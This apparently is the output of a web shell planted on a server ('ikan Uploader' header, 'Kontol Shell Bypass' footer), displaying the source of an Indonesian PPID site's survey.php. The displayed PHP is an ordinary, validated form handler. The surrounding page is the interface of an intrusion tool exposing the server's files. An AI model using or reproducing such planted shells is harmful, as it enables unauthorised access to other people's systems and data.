ikan Uploader :
Directory : /var/www/new-ppid-app/
Upload File : |
| Current File : /var/www/new-ppid-app/survey.php |
<?php
require_once __DIR__ . '/config/config.php';
header('Content-Type: application/json; charset=utf-8');
/** Balas JSON lalu hentikan. */
function survey_json(int $code, array $data): void
{
http_response_code($code);
echo json_encode($data, JSON_UNESCAPED_UNICODE);
exit;
}
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
survey_json(405, ['ok' => false, 'message' => 'Metode tidak diizinkan.']);
}
// CSRF — cek manual agar membalas JSON (bukan die 419 seperti csrf_verify()).
$sent = $_POST['csrf_token'] ?? '';
if (empty($_SESSION['csrf_token']) || !hash_equals($_SESSION['csrf_token'], (string) $sent)) {
survey_json(419, ['ok' => false, 'message' => 'Sesi kedaluwarsa. Muat ulang halaman lalu coba lagi.']);
}
// Honeypot anti-bot: kolom tersembunyi "website" harus kosong.
if (post_param('website') !== '') {
survey_json(200, ['ok' => true, 'message' => 'Terima kasih.']); // diamkan bot
}
// Batas satu kiriman per sesi (anti double-submit); localStorage menjaga sisi klien.
if (!empty($_SESSION['survey_done'])) {
survey_json(200, ['ok' => true, 'message' => 'Survei Anda sudah tersimpan sebelumnya. Terima kasih.']);
}
// Ambil input (post_param sudah trim).
$nama = post_param('nama');
$usiaRaw = post_param('usia');
$gender = post_param('gender');
$kategori = post_param('kategori_pengunjung');
$kelompok = post_param('kelompok_rentan');
$noWa = post_param('no_wa');
$alamat = post_param('alamat');
$testimoni = post_param('testimoni');
$rating = (int) post_param('rating');
// Pilihan kelompok rentan (Pasal 4 PermenPANRB 11/2024).
$RENTAN = [
'Penyandang Disabilitas',
'Orang Lanjut Usia',
'Wanita Hamil',
'Anak-Anak',
'Korban Bencana Alam dan Bencana Sosial',
];
// Validasi.
$errors = [];
if ($nama === '') {
$errors['nama'] = 'Nama lengkap wajib diisi.';
}
if ($usiaRaw === '' || !ctype_digit($usiaRaw) || (int) $usiaRaw < 1 || (int) $usiaRaw > 120) {
$errors['usia'] = 'Usia wajib diisi (angka 1–120).';
}
if (!in_array($gender, ['Laki-laki', 'Perempuan'], true)) {
$errors['gender'] = 'Pilih jenis kelamin.';
}
if (!in_array($kategori, ['Umum', 'Kelompok Rentan'], true)) {
$errors['kategori_pengunjung'] = 'Pilih kategori pengunjung.';
}
if ($kategori === 'Kelompok Rentan' && !in_array($kelompok, $RENTAN, true)) {
$errors['kelompok_rentan'] = 'Pilih jenis kelompok rentan.';
}
if ($alamat === '') {
$errors['alamat'] = 'Alamat wajib diisi.';
}
if ($testimoni === '') {
$errors['testimoni'] = 'Testimoni wajib diisi.';
}
if ($rating < 1 || $rating > 5) {
$errors['rating'] = 'Beri rating bintang (1–5).';
}
if ($noWa !== '' && !preg_match('~^[0-9 +().-]{6,20}$~', $noWa)) {
$errors['no_wa'] = 'Nomor WhatsApp tidak valid.';
}
if ($errors) {
survey_json(422, ['ok' => false, 'errors' => $errors]);
}
// Batasi panjang sesuai kolom.
$mb = static fn (string $s, int $n): string => function_exists('mb_substr') ? mb_substr($s, 0, $n) : substr($s, 0, $n);
$ip = substr((string) ($_SERVER['REMOTE_ADDR'] ?? ''), 0, 45);
$kelompokVal = ($kategori === 'Kelompok Rentan') ? $kelompok : null;
$stmt = db()->prepare(
'INSERT INTO survey_kepuasan (nama, usia, gender, kategori_pengunjung, kelompok_rentan, no_wa, alamat, testimoni, rating, ip)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)'
);
$stmt->execute([
$mb($nama, 100),
(int) $usiaRaw,
$gender,
$kategori,
$kelompokVal,
$noWa !== '' ? $mb($noWa, 30) : null,
$mb($alamat, 255),
$mb($testimoni, 2000),
$rating,
$ip !== '' ? $ip : null,
]);
$_SESSION['survey_done'] = true;
survey_json(200, ['ok' => true, 'message' => 'Terima kasih! Survei kepuasan Anda telah kami terima.']);
Kontol Shell Bypass